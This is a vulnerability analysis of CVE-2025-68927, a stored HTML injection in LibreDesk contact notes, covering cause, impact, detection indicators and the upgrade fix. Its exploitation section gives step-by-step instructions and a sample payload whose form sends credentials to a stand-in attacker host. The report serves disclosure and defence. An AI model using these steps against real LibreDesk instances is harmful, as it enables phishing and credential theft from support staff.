CVE-2025-68927: 
vulnerability analysis and mitigation

CVE-2025-68927 is a stored HTML injection vulnerability in LibreDesk, a self-hosted open-source omnichannel customer support desk. Prior to version 0.8.6-beta, the contact notes feature fails to sanitize user-supplied HTML, allowing attackers to inject arbitrary HTML elements that are persistently stored and rendered in the application. The vulnerability was published on December 27, 2025, and patched in version 0.8.6-beta. It carries a CVSS v3.1 base score of 6.1 (Medium) and a CVSS v4.0 base score of 7.3 (High) (GitHub Advisory, Red Hat CVE).

The root cause is improper neutralization of HTML tags in a web page (CWE-80 / CWE-79). When notes are submitted via the LibreDesk web UI, the client wraps content in <p> tags, and the backend trusts this structure without performing server-side HTML sanitization or allowlisting. By intercepting the POST /api/v1/contacts/{id}/notes API request and stripping the <p> wrapper, an attacker can submit arbitrary HTML payloads (e.g., <form>, <img>, <a>) that are stored as-is and rendered when any user views the contact notes. The fix replaced the vue-dompurify-html rendering approach with vue-letter for safe HTML rendering in contact notes and the command box, preventing injection of dangerous tags (GitHub Advisory, Patch Commit).

Successful exploitation enables persistent HTML injection affecting any user who views the compromised contact notes, including support agents and administrators. Attackers can conduct credential phishing via injected forms, perform CSRF-style forced actions using HTML-only form submissions, and execute UI redress (clickjacking-style) attacks. The risk is amplified when notes are accessible to privileged users such as admins, as a single injected note can target multiple users across roles (GitHub Advisory).

A proof-of-concept is publicly documented in the GitHub Security Advisory, demonstrating the injection technique step-by-step. The CVSS v4.0 exploit maturity is rated as "Proof of Concept." The EPSS score is approximately 0.047%, indicating low but non-zero probability of exploitation in the wild. No in-the-wild exploitation, threat actor attribution, or CISA KEV catalog listing has been reported as of the time of this report (GitHub Advisory, Red Hat CVE).

1. Authenticate: Log in to a LibreDesk instance running a version prior to 0.8.6-beta with any account that has permission to add contact notes.
2. Identify target contact: Navigate to any contact record in the LibreDesk UI and initiate adding a note normally.
3. Intercept the request: Use a proxy tool such as Burp Suite or OWASP ZAP to intercept the outgoing POST /api/v1/contacts/{id}/notes API request.
4. Modify the payload: In the intercepted request body, replace the normal note content (e.g., {"note": "<p>This is a normal note</p>"}) with an arbitrary HTML payload by removing the <p> wrapper, for example: {"note": "<form action='https://attacker.com/steal' method='POST'><input name='creds'><button>Click</button></form>"}.
5. Forward the request: Allow the modified request to reach the server; the backend stores the raw HTML without sanitization.
6. Trigger victim rendering: When any support agent or admin views the contact's notes in the LibreDesk UI, the injected HTML is rendered in their browser, executing the phishing form, forced action, or UI redress attack (GitHub Advisory).

• Network: Unexpected or anomalous POST requests to /api/v1/contacts/{id}/notes containing raw HTML tags (e.g., <form>, <img>, <a>, <iframe>) in the request body without enclosing <p> tags; outbound connections from the LibreDesk server or client browsers to unknown external domains following note viewing.
• Logs: Application or web server access logs showing POST /api/v1/contacts/*/notes requests with HTML-encoded or raw HTML payloads in the body; repeated access to contact note endpoints from the same IP with varying HTML payloads.
• File System: No direct file system artifacts expected for this injection type, as payloads are stored in the database.
• Database: Contact notes records in the LibreDesk database containing raw HTML elements such as <form>, <img src=, <a href=, or <iframe> outside of expected <p> tag wrappers (GitHub Advisory).

Upgrade LibreDesk to version 0.8.6-beta or later, which resolves the issue by replacing unsafe HTML rendering with the vue-letter component for contact notes and the command box, and removing the vue-dompurify-html dependency (Patch Commit). No official configuration-based workaround is available for unpatched versions; as an interim measure, administrators should restrict access to the contact notes feature to trusted users only and monitor API logs for suspicious HTML payloads in note submissions. Reviewing and sanitizing existing stored notes in the database for injected HTML is also recommended post-upgrade (GitHub Advisory).

The vulnerability was reported by security researcher "PlayerIUnknown" and disclosed via GitHub's security advisory program on December 15, 2025, with the CVE published on December 27, 2025. The advisory was picked up by several vulnerability tracking services including Red Hat CVE database, INCIBE-CERT, and VulnDB shortly after publication. No significant broader media coverage or notable researcher commentary beyond the advisory itself has been identified (GitHub Advisory, Red Hat CVE).